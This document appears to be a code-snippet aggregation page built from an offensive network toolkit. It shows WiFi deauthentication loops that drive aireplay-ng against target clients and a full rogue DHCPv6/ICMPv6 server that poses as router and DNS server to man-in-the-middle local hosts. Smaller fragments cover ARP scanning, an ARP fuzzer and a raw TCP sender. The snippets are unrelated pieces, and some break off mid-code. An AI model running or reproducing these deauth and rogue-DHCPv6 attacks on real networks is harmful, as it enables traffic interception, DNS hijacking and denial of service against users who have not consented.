Ejemplo n.º 1
0
def deauth_packets_send(network_interface: str = 'eth0',
                        network_channel: str = '1',
                        network_bssid: str = '12:34:56:78:90:ab',
                        mac_address: str = '12:34:56:78:90:ac',
                        number_of_deauth: int = 5):
    global aireply_stop

    # Start target requests sniffer function
    threat_manager = ThreadManager(2)
    threat_manager.add_task(requests_sniffer, mac_address)

    # Set WiFi channel on interface for send WiFi deauth packets
    sub.Popen(
        ['iwconfig ' + network_interface + ' channel ' + network_channel],
        shell=True)

    # Start deauth packets numbers
    deauth_packets_number = number_of_deauth
    aireply_stop = False

    while deauth_packets_number < 50:

        # Check global variable aireplay_stop
        if aireply_stop:
            base.print_info('Stop aireplay-ng ...')
            break

        # Start aireplay-ng process
        try:
            base.print_info('Send WiFi deauth packets in aireplay-ng ...')
            aireplay_process = sub.Popen([
                'aireplay-ng ' + network_interface + ' -0 ' +
                str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' +
                mac_address
            ],
                                         shell=True,
                                         stdout=sub.PIPE)
            while True:
                output = aireplay_process.stdout.readline().decode()
                if output == '' and aireplay_process.poll() is not None:
                    break
                if output:
                    stdout.write(
                        re.sub(r'(\d\d:\d\d:\d\d  (Waiting|Sending))',
                               base.c_info + r'\g<1>', output))

        except OSError:
            base.print_error('Something else went wrong while trying to run ',
                             '`aireply-ng`')
            exit(2)

        # Wait before sniff request packet from target
        base.print_info('Wait 10 sec. before sniff packets from target: ' +
                        mac_address)
        sleep(10)

        # Add 5 packets to number of WiFi deauth packets
        deauth_packets_number += 5
Ejemplo n.º 2
0
def deauth_packets_send():

    # Start DHCP or ARP requests sniffer function
    tm = ThreadManager(2)
    tm.add_task(dhcp_request_sniffer)
    sleep(3)

    # Set WiFi channel on interface for send WiFi deauth packets
    sub.Popen(['iwconfig ' + deauth_network_interface + ' channel ' + channel],
              shell=True)
    Base.print_info("Send WiFi deauth packets ...")

    # Start deauth packets numbers = 3
    deauth_packets_number = 3

    while not sniff_dhcp_request:

        # Start aireplay-ng process
        try:
            aireplay_process = sub.Popen([
                'aireplay-ng ' + deauth_network_interface + ' -0 ' +
                str(deauth_packets_number) + ' -a ' + bssid + ' -c ' +
                target_mac_address
            ],
                                         shell=True,
                                         stdout=sub.PIPE)
            while True:
                output = aireplay_process.stdout.readline()
                if output == '' and aireplay_process.poll() is not None:
                    break
                if output:
                    stdout.write(
                        re.sub(r'(\d\d:\d\d:\d\d  (Waiting|Sending))',
                               Base.c_info + r'\g<1>', output))

        except OSError as e:
            if e.errno == errno.ENOENT:
                Base.print_error("Program: ", "aireply-ng",
                                 " is not installed!")
                exit(1)
            else:
                Base.print_error(
                    "Something else went wrong while trying to run ",
                    "`aireply-ng`")
                exit(2)

        # Wait before sniff ARP or DHCP request packet
        sleep(5)

        # Add 5 packets to number of WiFi deauth packets
        if deauth_packets_number < 30:
            deauth_packets_number += 5
Ejemplo n.º 3
0
    def search_router(
            self,
            network_interface: str = 'eth0',
            timeout: int = 3,
            retry: int = 3,
            exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'})
        """

        # region Clear lists with scan results
        self.results.clear()
        self.unique_results.clear()
        self.mac_addresses.clear()
        # endregion

        # region Set variables
        self.router_search = True
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run _sniffer
        tm = ThreadManager(2)
        tm.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Return IPv6 router information
        if len(self.router_info.keys()) == 0:
            if exit_on_failure:
                self.base.error_text(
                    'Could not found IPv6 Router on interface: ' +
                    self.network_interface)
                exit(1)
        return self.router_info
Ejemplo n.º 4
0
    def get_mac_address(self,
                        network_interface,
                        target_ip_address,
                        timeout=5,
                        retry=5,
                        exit_on_failure=True):
        try:

            # region Set variables
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run sniffer
            tm = ThreadManager(2)
            tm.add_task(self.sniff)
            # endregion

            # region Run sender
            self.send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Return
            if 'mac-address' in self.results[0].keys():
                return self.results[0]['mac-address']
            else:
                return "ff:ff:ff:ff:ff:ff"
            # endregion

        except IndexError:
            if exit_on_failure:
                self.base.print_error(
                    "Could not find MAC address of IP address: ",
                    target_ip_address)
                exit(1)
            else:
                return "ff:ff:ff:ff:ff:ff"

        except KeyboardInterrupt:
            self.base.print_info("Exit")
            exit(0)
Ejemplo n.º 5
0
    def search_router(self, network_interface, timeout=3, retry=3):

        # region Set variables
        self.router_search = True
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Return results
        return self.router_info
Ejemplo n.º 6
0
    def scan(self,
             network_interface: str = 'eth0',
             timeout: int = 3,
             retry: int = 3,
             target_ip_address: Union[None, str] = None,
             check_vendor: bool = True,
             exclude_ip_addresses: Union[None, List[str]] = None,
             exit_on_failure: bool = True,
             show_scan_percentage: bool = True) -> List[Dict[str, str]]:
        """
        ARP scan on network interface
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
        :param exit_on_failure: Exit if alive hosts in network not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1'}])
        """
        try:
            # region Clear lists with scan results
            self.results.clear()
            self.unique_results.clear()
            self.mac_addresses.clear()
            # endregion

            # region Set variables
            self.quit = not show_scan_percentage
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run _sniffer
            tm = ThreadManager(2)
            tm.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Unique results
            for index in range(len(self.results)):
                if self.results[index][
                        'mac-address'] not in self.mac_addresses:
                    self.unique_results.append(self.results[index])
                    self.mac_addresses.append(
                        self.results[index]['mac-address'])
            # endregion

            # region Exclude IP addresses
            if exclude_ip_addresses is not None:
                self.results = self.unique_results
                self.unique_results = list()
                for index in range(len(self.results)):
                    if self.results[index][
                            'ip-address'] not in exclude_ip_addresses:
                        self.unique_results.append(self.results[index])
                self.results = list()
            # endregion

            # region Get vendors
            if check_vendor:
                for result_index in range(len(self.unique_results)):
                    self.unique_results[result_index]['vendor'] = \
                        self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])

            # endregion

        except KeyboardInterrupt:
            self.base.print_info('Exit')
            exit(0)

        if len(self.unique_results) == 0:
            if exit_on_failure:
                self.base.print_error(
                    'Could not find allive hosts on interface: ',
                    self.network_interface)
                exit(1)

        return self.unique_results
Ejemplo n.º 7
0

# region Main function
if __name__ == '__main__':

    # region Import Raw-packet classes
    path.append(dirname(dirname(dirname(abspath(__file__)))))

    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet, RawARP
    from raw_packet.Utils.tm import ThreadManager

    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    arp: RawARP = RawARP()
    thread_manager: ThreadManager = ThreadManager(2)
    # endregion

    # region Raw socket
    raw_socket: socket = socket(AF_PACKET, SOCK_RAW)
    # endregion

    try:

        # region Check user and platform
        base.check_user()
        base.check_platform()
        # endregion

        # region Parse script arguments
        parser: ArgumentParser = ArgumentParser(description='ARP fuzzing script')
Ejemplo n.º 8
0
Base.check_platform()
Base.check_user()

current_network_interface = None

src_mac_address = None
src_ip_address = None
src_port = None

dst_mac_address = None
dst_ip_address = None
dst_port = None

data = None

tm = ThreadManager(3)

response_sequence_number = 0
response_acknowledgement_number = 0
response_timestamp = 0
response_payload_len = 0


def sender():
    sleep(5)

    SOCK = socket(AF_PACKET, SOCK_RAW)
    SOCK.bind((current_network_interface, 0))

    sequence = randint(1, 1000000)
Ejemplo n.º 9
0
class DHCPv6Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _eth: RawEthernet = RawEthernet()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _dhcpv6: RawDHCPv6 = RawDHCPv6()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv6-address': None
    }
    _clients: Dict[str, Dict[str, Union[bool, str]]] = dict()

    _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64'
    _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::'

    _first_ipv6_address_suffix: int = 2
    _last_ipv6_address_suffix: int = 65534

    _domain_search: str = 'domain.local'

    _solicit_packets_delay: float = 1

    _disable_dhcpv6: bool = False
    _exit_on_success: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._dns_server_ipv6_address: str = self._your['ipv6-link-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv6 Server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              first_ipv6_address_suffix: int = 2,
              last_ipv6_address_suffix: int = 65534,
              dns_server_ipv6_address: Union[None, str] = None,
              ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
              domain_search: str = 'domain.local',
              disable_dhcpv6: bool = False,
              exit_on_success: bool = False,
              quiet: bool = False) -> None:

        # region Set variables
        self._ipv6_prefix: str = ipv6_prefix
        self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0]
        self._disable_dhcpv6 = disable_dhcpv6
        self._domain_search = domain_search
        self._exit_on_success = exit_on_success
        self._quiet = quiet
        # endregion

        # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address

        # region Set target IPv6 address
        if target_mac_address is not None:
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
        # endregion

        # region Target IPv6 is set
        if target_ipv6_address is not None:
            assert target_mac_address is not None, \
                'Please set target MAC address for target IPv6 address: ' + \
                self._base.info_text(str(target_ipv6_address))
            self._target['ipv6-address'] = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=target_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='target IPv6 address')
            self._clients[self._target['mac-address']] = {
                'advertise address': self._target['ipv6-address']
            }
        # endregion

        # region Target IPv6 is not set - get first and last suffix IPv6 address
        else:
            # Check first suffix IPv6 address
            self._first_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=first_ipv6_address_suffix,
                                                 first_value=1,
                                                 last_value=65535,
                                                 parameter_name='first IPv6 address suffix')

            # Check last suffix IPv6 address
            self._last_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=last_ipv6_address_suffix,
                                                 first_value=self._first_ipv6_address_suffix,
                                                 last_value=65535,
                                                 parameter_name='last IPv6 address suffix')
        # endregion

        # endregion

        # region Set recursive DNS server address
        if dns_server_ipv6_address is not None:
            self._dns_server_ipv6_address = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=dns_server_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='DNS server IPv6 address',
                                               check_your_ipv6_address=False)
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])
            self._base.print_info('Your link local IPv6 address: ',
                                  self._your['ipv6-link-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ',
                                      self._target['mac-address'])
            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ',
                                      self._target['ipv6-address'])
            else:
                self._base.print_info('First suffix offer IP: ',
                                      str(self._first_ipv6_address_suffix))
                self._base.print_info('Last suffix offer IP: ',
                                      str(self._last_ipv6_address_suffix))

            self._base.print_info('Prefix: ', self._ipv6_prefix)
            self._base.print_info('Router IPv6 address: ',
                                  self._your['ipv6-link-address'])
            self._base.print_info('DNS IPv6 address: ',
                                  self._dns_server_ipv6_address)
            self._base.print_info('Domain search: ', self._domain_search)
        # endregion

        # region Send ICMPv6 advertise packets in other thread
        self._thread_manager.add_task(self._send_icmpv6_advertise_packets)
        # endregion

        # region Add multicast MAC addresses on interface
        self._add_multicast_mac_addresses()
        # endregion

        # region Start Sniffer

        # region Print info message
        self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'UDP': {
                'destination-port': 547,
                'source-port': 546
            },
            'ICMPv6': {
                'types': [133, 135]
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='icmp6 or (udp and (port 547 or 546))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add multicast MAC addresses on interface
    def _add_multicast_mac_addresses(self):
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:00:00:02',
            exit_on_failure=False,
            quiet=self._quiet)
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:01:00:02',
            exit_on_failure=False,
            quiet=self._quiet)

    # endregion

    # region Add client info in global self._clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Dict[str, Union[bool, str]],
            this_client_already_in_dictionary: bool = False):
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Send ICMPv6 solicit packets
    def _send_icmpv6_solicit_packets(self):
        try:
            while True:
                icmpv6_solicit_packet = \
                    self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                            ipv6_src=self._your['ipv6-link-address'],
                                                            need_source_link_layer_address=True,
                                                            source_link_layer_address=self._eth.make_random_mac())
                self._raw_send.send_packet(icmpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Send DHCPv6 solicit packets
    def _send_dhcpv6_solicit_packets(self):
        try:
            while True:
                request_options = [23, 24]
                dhcpv6_solicit_packet = \
                    self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                     ipv6_src=self._your['ipv6-link-address'],
                                                     transaction_id=randint(1, 16777215),
                                                     client_mac_address=self._eth.make_random_mac(),
                                                     option_request_list=request_options)
                self._raw_send.send_packet(dhcpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Send ICMPv6 advertise packets
    def _send_icmpv6_advertise_packets(self):
        icmpv6_ra_packet = \
            self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                          ethernet_dst_mac='33:33:00:00:00:01',
                                                          ipv6_src=self._your['ipv6-link-address'],
                                                          ipv6_dst='ff02::1',
                                                          dns_address=self._dns_server_ipv6_address,
                                                          domain_search=self._domain_search,
                                                          prefix=self._ipv6_prefix,
                                                          router_lifetime=5000,
                                                          advertisement_interval=
                                                          int(self._solicit_packets_delay * 1000))
        try:
            while True:
                self._raw_send.send_packet(icmpv6_ra_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Reply to DHCPv6 and ICMPv6 requests
    def _reply(self, packet):

        # region Get client MAC address
        client_mac_address: str = packet['Ethernet']['source']
        # endregion

        # region Check this client already in self._clients dictionary
        client_already_in_dictionary: bool = False
        if client_mac_address in self._clients.keys():
            client_already_in_dictionary = True
        # endregion

        # region Check MiTM status for this client
        self._check_mitm_status(client_mac_address=client_mac_address)
        # endregion

        # region ICMPv6
        if 'ICMPv6' in packet.keys():

            # region ICMPv6 Router Solicitation
            if packet['ICMPv6']['type'] == 133:

                # Make and send ICMPv6 router advertisement packet
                icmpv6_ra_packet = \
                    self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                  ethernet_dst_mac=packet['Ethernet']['source'],
                                                                  ipv6_src=self._your['ipv6-link-address'],
                                                                  ipv6_dst=packet['IPv6']['source-ip'],
                                                                  dns_address=self._dns_server_ipv6_address,
                                                                  domain_search=self._domain_search,
                                                                  prefix=self._ipv6_prefix,
                                                                  router_lifetime=5000)
                self._raw_send.send_packet(icmpv6_ra_packet)

                # Print info messages
                self._base.print_info(
                    'ICMPv6 Router Solicitation request from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')
                self._base.print_info(
                    'ICMPv6 Router Advertisement reply to: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'router solicitation': True,
                        'network prefix': self._ipv6_prefix
                    }, client_already_in_dictionary)
            # endregion

            # region ICMPv6 Neighbor Solicitation
            if packet['ICMPv6']['type'] == 135:

                # region Get ICMPv6 Neighbor Solicitation target address
                target_address: str = packet['ICMPv6']['target-address']
                na_packet: Union[None, bytes] = None
                if target_address.startswith('fe80::'):
                    if target_address == self._your['ipv6-link-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address,
                            {'neighbor solicitation your address': True},
                            client_already_in_dictionary)
                else:
                    na_packet = \
                        self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                        ipv6_src=self._your['ipv6-link-address'],
                                                                        target_ipv6_address=target_address)
                # endregion

                # region Neighbor Solicitation target address is DNS server IPv6 address
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        if target_address == self._dns_server_ipv6_address:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation dns server address':
                                    True
                                }, client_already_in_dictionary)
                # endregion

                # region Neighbor Solicitation target address not in your ipv6 prefix
                if not target_address.startswith(
                        self._ipv6_prefix_address) and na_packet is not None:
                    for _ in range(10):
                        self._raw_send.send_packet(na_packet)
                # endregion

                # region Neighbor Solicitation target address in your ipv6 prefix
                else:
                    self._add_client_info_in_dictionary(
                        client_mac_address,
                        {'neighbor solicitation in ipv6 prefix': True},
                        client_already_in_dictionary)
                # endregion

                # region DHCPv6 advertise address is set

                # This client already in dictionary
                if client_already_in_dictionary:

                    # Advertise address for this client is set
                    if 'advertise address' in self._clients[
                            client_mac_address].keys():

                        # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
                        if target_address == self._clients[client_mac_address][
                                'advertise address']:

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation advertise address':
                                    True
                                }, client_already_in_dictionary)

                        # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
                        elif na_packet is not None:
                            for _ in range(10):
                                self._raw_send.send_packet(na_packet)
                # endregion

            # endregion

        # endregion

        # region DHCPv6

        # Protocol DHCPv6 is enabled
        if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys():

            # region Get Client identifier and Identity Association for Non-temporary Address
            cid: Union[None, bytes] = None
            iaid: Union[None, int] = None

            for option in packet['DHCPv6']['options']:
                if option['type'] == 1:
                    cid = option['value']['raw']
                elif option['type'] == 3:
                    iaid = option['value']['iaid']

            if cid is None or iaid is None:
                self._base.print_info(
                    'Malformed DHCPv6 packet from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                return
            # endregion

            # region DHCPv6 Solicit
            if packet['DHCPv6']['message-type'] == 1:

                # Set IPv6 address in advertise packet
                try:
                    ipv6_address = self._clients[client_mac_address][
                        'advertise address']
                except KeyError:
                    if self._target['ipv6-address'] is not None:
                        ipv6_address = self._target['ipv6-address']
                    else:
                        ipv6_address = self._ipv6_prefix_address + \
                                       format(randint(self._first_ipv6_address_suffix,
                                                      self._last_ipv6_address_suffix), 'x')

                # Make and send DHCPv6 advertise packet
                dhcpv6_advertise = \
                    self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'],
                                                       ethernet_dst_mac=packet['Ethernet']['source'],
                                                       ipv6_src=self._your['ipv6-link-address'],
                                                       ipv6_dst=packet['IPv6']['source-ip'],
                                                       transaction_id=packet['DHCPv6']['transaction-id'],
                                                       dns_address=self._dns_server_ipv6_address,
                                                       domain_search=self._domain_search,
                                                       ipv6_address=ipv6_address,
                                                       cid=cid, iaid=iaid, preference=255)
                self._raw_send.send_packet(dhcpv6_advertise)

                # Print info messages
                self._base.print_info(
                    'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                self._base.print_info(
                    'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    ipv6_address)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'dhcpv6 solicit': True,
                        'advertise address': ipv6_address
                    }, client_already_in_dictionary)
            # endregion

            # region DHCPv6 Request
            if packet['DHCPv6']['message-type'] == 3:

                # Set DHCPv6 reply packet
                dhcpv6_reply: Union[None, bytes] = None

                # region Get Client DUID time, IPv6 address and Server MAC address
                client_ipv6_address: Union[None, str] = None
                server_mac_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 2:
                        server_mac_address = dhcpv6_option['value'][
                            'mac-address']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                if server_mac_address is not None and client_ipv6_address is not None:

                    # Check Server MAC address
                    if server_mac_address != self._your['mac-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'dhcpv6 mitm':
                                'error: server mac address is not your mac address'
                            }, client_already_in_dictionary)
                    else:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {'dhcpv6 mitm': 'success'},
                            client_already_in_dictionary)
                        try:
                            if client_ipv6_address == self._clients[
                                    client_mac_address]['advertise address']:
                                dhcpv6_reply = \
                                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                                   ipv6_src=self._your['ipv6-link-address'],
                                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                                   dns_address=self._dns_server_ipv6_address,
                                                                   domain_search=self._domain_search,
                                                                   ipv6_address=client_ipv6_address,
                                                                   cid=cid)
                                self._raw_send.send_packet(dhcpv6_reply)
                            else:
                                self._add_client_info_in_dictionary(
                                    client_mac_address, {
                                        'dhcpv6 mitm':
                                        'error: client request address is not advertise address'
                                    }, client_already_in_dictionary)

                        except KeyError:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'dhcpv6 mitm':
                                    'error: not found dhcpv6 solicit request for this client'
                                }, client_already_in_dictionary)

                    # Print info messages
                    self._base.print_info(
                        'DHCPv6 Request from: ', packet['IPv6']['source-ip'] +
                        ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                        hex(packet['DHCPv6']['transaction-id']), ' Server: ',
                        server_mac_address, ' IAA: ', client_ipv6_address)

                    if dhcpv6_reply is not None:
                        self._base.print_info(
                            'DHCPv6 Reply to:     ',
                            packet['IPv6']['source-ip'] + ' (' +
                            packet['Ethernet']['source'] + ')', ' XID: ',
                            hex(packet['DHCPv6']['transaction-id']),
                            ' Server: ', server_mac_address, ' IAA: ',
                            client_ipv6_address)
                    else:
                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: server mac address is not your mac address':
                            self._base.print_error(
                                'Server MAC address in DHCPv6 Request is not your MAC address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: client request address is not advertise address':
                            self._base.print_error(
                                'Client requested IPv6 address is not advertise IPv6 address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: not found dhcpv6 solicit request for this client':
                            self._base.print_error(
                                'Could not found DHCPv6 solicit request ' +
                                'for this client: ', client_mac_address)

            # endregion

            # region DHCPv6 Release
            if packet['DHCPv6']['message-type'] == 8:
                # Print info message
                self._base.print_info(
                    'DHCPv6 Release from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass
            # endregion

            # region DHCPv6 Confirm
            if packet['DHCPv6']['message-type'] == 4:

                # region Get Client IPv6 address
                client_ipv6_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                # region Make and send DHCPv6 Reply packet
                dhcpv6_reply = \
                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                   ipv6_src=self._your['ipv6-link-address'],
                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                   dns_address=self._dns_server_ipv6_address,
                                                   domain_search=self._domain_search,
                                                   ipv6_address=client_ipv6_address,
                                                   cid=cid)
                self._raw_send.send_packet(dhcpv6_reply)
                # endregion

                # region Add Client info in global self._clients dictionary and print info message
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'advertise address': client_ipv6_address,
                        'dhcpv6 mitm': 'success'
                    }, client_already_in_dictionary)

                self._base.print_info(
                    'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                self._base.print_info(
                    'DHCPv6 Reply to:     ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                # endregion

            # endregion

        # endregion

    # endregion

    # region Check MiTM Success
    def _check_mitm_status(self, client_mac_address: str):
        try:
            if not self._disable_dhcpv6:
                assert self._clients[client_mac_address][
                    'dhcpv6 mitm'] == 'success'
                # assert self._clients[client_mac_address]['neighbor solicitation advertise address']

            else:
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        assert self._clients[client_mac_address][
                            'neighbor solicitation dns server address']

                assert self._clients[client_mac_address][
                    'neighbor solicitation your address']
                assert self._clients[client_mac_address][
                    'neighbor solicitation in ipv6 prefix']

            assert 'success message' not in self._clients[
                client_mac_address].keys()
            self._base.print_success(
                'MITM success: ',
                self._clients[client_mac_address]['advertise address'] + ' (' +
                client_mac_address + ')')
            if self._exit_on_success:
                sleep(3)
                exit(0)
            else:
                self._clients[client_mac_address].update(
                    {'success message': True})
            return True

        except KeyError:
            return False

        except AssertionError:
            return False
Ejemplo n.º 10
0
class ScriptArpSpoofTest(TestCase):

    # region Properties
    variables: Variables = Variables()
    base: Base = Base(admin_only=True,
                      available_platforms=['Linux', 'Darwin', 'Windows'])
    context_manager: ContextManager = ContextManager()
    thread_manager: ThreadManager = ThreadManager(10)
